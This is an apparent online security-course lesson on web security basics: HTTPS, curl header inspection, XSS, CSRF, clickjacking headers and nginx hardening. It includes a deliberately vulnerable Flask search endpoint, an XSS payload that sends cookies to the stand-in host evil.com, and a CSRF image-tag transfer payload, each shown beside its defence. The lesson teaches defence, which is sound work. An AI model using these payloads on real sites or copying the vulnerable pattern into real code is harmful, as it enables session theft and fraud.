Security Basics Lesson 18 – Web Security Fundamentals | Dataplexa
Section II · Lesson 18

Web Security Fundamentals

Every web application is a public interface to your infrastructure — a surface that anyone on the internet can probe, manipulate, and abuse. Understanding how the browser and server communicate, where trust breaks down, and which headers and controls actually enforce security is the foundation of defending anything that runs on HTTP.

This lesson covers

How HTTPS actually works → Cross-Site Scripting (XSS) → Cross-Site Request Forgery (CSRF) → Clickjacking → Security headers that enforce browser behaviour → Inspecting HTTP requests and responses → What attackers look for first on any web target

How HTTPS actually works

HTTPS is HTTP with a TLS layer underneath it. TLS does two things: it encrypts the connection so nobody between the browser and the server can read the traffic, and it authenticates the server so the browser knows it's talking to the real site and not an impostor.

The authentication part uses certificates. When your browser connects to a site over HTTPS, the server presents a certificate — a digitally signed document that says "I am example.com, and a trusted Certificate Authority has verified this." The browser checks that signature against a built-in list of trusted Certificate Authorities. If the signature is valid and the domain matches, the connection proceeds. If either check fails, you get the red warning screen.

What HTTPS does not do: it doesn't mean the site is safe or legitimate. It only means the connection to that site is encrypted. A phishing site can have a valid HTTPS certificate. The padlock means nobody is intercepting the traffic between you and the server — it says nothing about what the server itself is doing with your data.

Inspecting HTTP requests and responses

Before you can secure a web application, you need to see exactly what it's sending and receiving. curl is the fastest way to inspect HTTP headers, responses, and server behaviour from the command line — without a browser getting in the way.

# Fetch a page and show full response headers
curl -I https://example.com

# Follow redirects and show headers at each hop
curl -IL https://example.com

# Show full request AND response headers (verbose)
curl -v https://example.com 2>&1 | head -60

# Submit a login form — POST with credentials
curl -X POST https://example.com/login \
  -d "username=alice&password=test123" \
  -c cookies.txt \
  -v

# Use saved session cookie to access authenticated page
curl https://example.com/dashboard \
  -b cookies.txt \
  -v

# Check what security headers a server is returning
curl -sI https://example.com | grep -Ei \
  "strict-transport|content-security|x-frame|x-content-type|referrer-policy|permissions-policy"
# curl -I https://example.com
HTTP/2 200
content-type: text/html; charset=UTF-8
server: nginx/1.24.0
date: Fri, 03 Apr 2026 09:14:22 GMT
content-length: 14823

# Missing security headers — a red flag:
# No Strict-Transport-Security
# No Content-Security-Policy
# No X-Frame-Options
# No X-Content-Type-Options
# No Referrer-Policy

# curl -sI https://well-hardened-site.com | grep -Ei security headers
strict-transport-security: max-age=31536000; includeSubDomains; preload
content-security-policy: default-src 'self'; script-src 'self' 'nonce-r4nd0m'; object-src 'none'
x-frame-options: DENY
x-content-type-options: nosniff
referrer-policy: strict-origin-when-cross-origin
permissions-policy: geolocation=(), microphone=(), camera=()

What just happened

The first server returns a bare response — no security headers at all. Any attacker running a quick curl -I sees immediately that XSS protections, clickjacking defences, and HTTPS enforcement are all absent. The second server shows a hardened header set — each one closing a specific attack vector. The difference between these two outputs is the difference between a site that's thought about security and one that hasn't. We'll cover what each header does in the section below.

Cross-Site Scripting (XSS)

XSS happens when an application takes user-supplied input and renders it in a web page without properly encoding it first. The browser receives what looks like HTML or JavaScript — because it is — and executes it. The injected script runs in the context of the victim's session, with access to their cookies, their local storage, and the ability to make requests on their behalf.

There are two main variants. Reflected XSS is when the malicious input is in the URL — the attacker sends a crafted link to a victim, the server reflects the input back in the response, and the victim's browser executes it. Stored XSS is when the malicious input is saved to a database — a comment, a profile field, a message — and served to every user who views it. Stored XSS is more dangerous because it executes without any interaction from the attacker after the initial injection.

# -------------------------------------------------------
# VULNERABLE — renders user input directly into HTML
# -------------------------------------------------------
from flask import Flask, request, render_template_string

app = Flask(__name__)

@app.route("/search")
def search():
    query = request.args.get("q", "")
    # User input injected directly into HTML — never do this
    return render_template_string("""
        
          

Results for: {{ query|safe }}

""", query=query) # Attacker crafts this URL and sends it to a victim: # /search?q=<script>document.location='https://evil.com/steal?c='+document.cookie</script> # The victim's browser executes the script, sending their session cookie to the attacker # ------------------------------------------------------- # SECURE — output encoding prevents execution # ------------------------------------------------------- @app.route("/search-safe") def search_safe(): query = request.args.get("q", "") # Jinja2 auto-escaping (default) — renders < as < > as > # The browser displays the text, does not execute it as code return render_template_string("""

Results for: {{ query }}

""", query=query)
# Vulnerable endpoint — attacker input passed through |safe filter
# Server sends this HTML to the victim's browser:
<html><body>
  <h2>Results for: <script>document.location='https://evil.com/steal?c='+document.cookie</script></h2>
</body></html>

# Browser executes the script — victim's cookies sent to attacker's server:
# GET https://evil.com/steal?c=sessionid=abc123xyz;csrftoken=def456uvw

# Secure endpoint — Jinja2 auto-escaping encodes the payload:
# Server sends this HTML instead:
<html><body>
  <h2>Results for: &lt;script&gt;document.location=...&lt;/script&gt;</h2>
</body></html>

# Browser renders: Results for: <script>document.location=...</script>
# The text is displayed — no script executes — cookies stay safe

What just happened

The |safe filter in Jinja2 explicitly tells the templating engine to skip escaping — a well-intentioned shortcut that becomes a critical vulnerability when used on user input. Without it, Jinja2 converts < to &lt; and > to &gt; automatically. The browser reads those as display characters, not HTML tags. The script tag is shown as text on screen — it is never executed.

Cross-Site Request Forgery (CSRF)

CSRF exploits the fact that browsers automatically include cookies — including session cookies — with every request to a domain, regardless of where that request originated. If you're logged into your bank and you visit a malicious page, that page can silently trigger a request to your bank's server. Your browser helpfully attaches your session cookie. The bank's server sees a valid authenticated request and processes it.

The attacker never sees your session cookie. They don't need to. They just need your browser to make the request for them — and your browser will, automatically, because that's how cookies work.

The attacker's perspective

A CSRF attack can be as simple as an image tag on a malicious page: <img src="https://bank.com/transfer?to=attacker&amount=5000">. When the victim's browser loads the page, it tries to fetch that "image" — which is actually a bank transfer URL. The session cookie is sent automatically. If the bank doesn't implement CSRF protection, the transfer goes through. The defence is a CSRF token — a secret value embedded in the form that the malicious page cannot know or forge, verified server-side on every state-changing request.

Security headers — enforcing browser behaviour

Security headers are HTTP response headers that instruct the browser how to behave when handling your site's content. They're cheap to implement, they close several attack vectors entirely, and a surprising number of production sites still don't set them. Here's what each one does and how to configure them in nginx:

# Add these to your nginx server block
# File: /etc/nginx/sites-available/your-site.conf

server {
    listen 443 ssl;
    server_name example.com;

    # Force HTTPS for 1 year — include all subdomains — request preloading
    add_header Strict-Transport-Security "max-age=31536000; includeSubDomains; preload" always;

    # Restrict where scripts, styles, and media can be loaded from
    # default-src 'self' = only allow resources from your own domain
    add_header Content-Security-Policy "default-src 'self'; script-src 'self'; object-src 'none'; frame-ancestors 'none'" always;

    # Prevent your site from being embedded in iframes (clickjacking defence)
    add_header X-Frame-Options "DENY" always;

    # Stop browsers from guessing content types (MIME sniffing attack defence)
    add_header X-Content-Type-Options "nosniff" always;

    # Control what referrer information is sent with requests
    add_header Referrer-Policy "strict-origin-when-cross-origin" always;

    # Disable browser features your site doesn't need
    add_header Permissions-Policy "geolocation=(), microphone=(), camera=(), payment=()" always;

    # Redirect all HTTP to HTTPS
    location / {
        return 301 https://$host$request_uri;
    }
}
# After applying config: sudo nginx -t && sudo systemctl reload nginx
nginx: the configuration file /etc/nginx/nginx.conf syntax is ok
nginx: configuration file /etc/nginx/nginx.conf test is successful

# Verify headers are live
$ curl -sI https://example.com | grep -Ei "security|frame|content-type|referrer|permissions"
strict-transport-security: max-age=31536000; includeSubDomains; preload
content-security-policy: default-src 'self'; script-src 'self'; object-src 'none'; frame-ancestors 'none'
x-frame-options: DENY
x-content-type-options: nosniff
referrer-policy: strict-origin-when-cross-origin
permissions-policy: geolocation=(), microphone=(), camera=(), payment=()

# Score against securityheaders.com (A+)
# All critical headers present and correctly configured

What just happened

Six headers, each closing a specific attack class. Strict-Transport-Security tells the browser to refuse plain HTTP connections to this domain for the next year — even if the user types http://. Content-Security-Policy defines a whitelist of where scripts can load from — an inline XSS payload won't execute if it violates the policy. X-Frame-Options: DENY prevents the site from being embedded in an iframe on any other domain — closing the clickjacking vector entirely. X-Content-Type-Options: nosniff stops browsers from executing files with unexpected content types as scripts.

What attackers look for first

When an attacker approaches a web target, the first few minutes follow a predictable pattern. Understanding this reconnaissance phase tells you exactly what to harden first.

1. Missing security headers

A single curl -I shows everything. No CSP means XSS payloads can load external scripts. No X-Frame-Options means clickjacking is possible. No HSTS means SSL stripping attacks may work. Missing headers are a signal that security wasn't a priority — and that the application itself probably has other problems.

2. Verbose error messages

An application that returns a full stack trace on a 500 error reveals framework version, file paths, database type, and internal variable names. Send a malformed request, observe the error, map the technology stack. Set DEBUG=False in production. Always.

3. Input fields — every one is a potential injection point

Search boxes, login forms, URL parameters, HTTP headers, JSON bodies — all of these are tested with single quotes, angle brackets, and script tags. Any field that reflects input back or fails unexpectedly gets deeper attention.

4. Predictable URLs and exposed admin interfaces

Tools like dirb and gobuster enumerate common paths — /admin, /wp-admin, /.env, /phpinfo.php, /backup.zip. A surprising number of production servers have these accessible. Move admin interfaces to non-standard paths, restrict them by IP, and remove any development files before deploying.

Instructor's Note

Go to securityheaders.com and scan any site you're responsible for. It gives an instant grade and tells you exactly which headers are missing and what each one does. An A+ takes about twenty minutes of nginx or Apache config changes. Most production sites score a C or lower. That gap is opportunity — both for attackers and for the person who fixes it.


Practice Questions

What technique prevents XSS by converting characters like < and > into their HTML entity equivalents before rendering them in a page? (two words)




What is the standard server-side defence against CSRF attacks — a secret value embedded in forms that a malicious page cannot forge? (two words)




Which HTTP security header prevents your site from being embedded in an iframe on another domain — closing the clickjacking attack vector?



Quiz

A user visits a phishing site that has a valid HTTPS certificate. Why does the padlock icon not indicate the site is safe?



Why can a CSRF attack succeed even though the attacker never sees the victim's session cookie?



How does a Content-Security-Policy header reduce the impact of an XSS vulnerability?


Up Next · Lesson 19

Security Misconfigurations

Open S3 buckets, default credentials, verbose error pages, exposed admin panels — the most preventable category of vulnerabilities and how to systematically find and close them.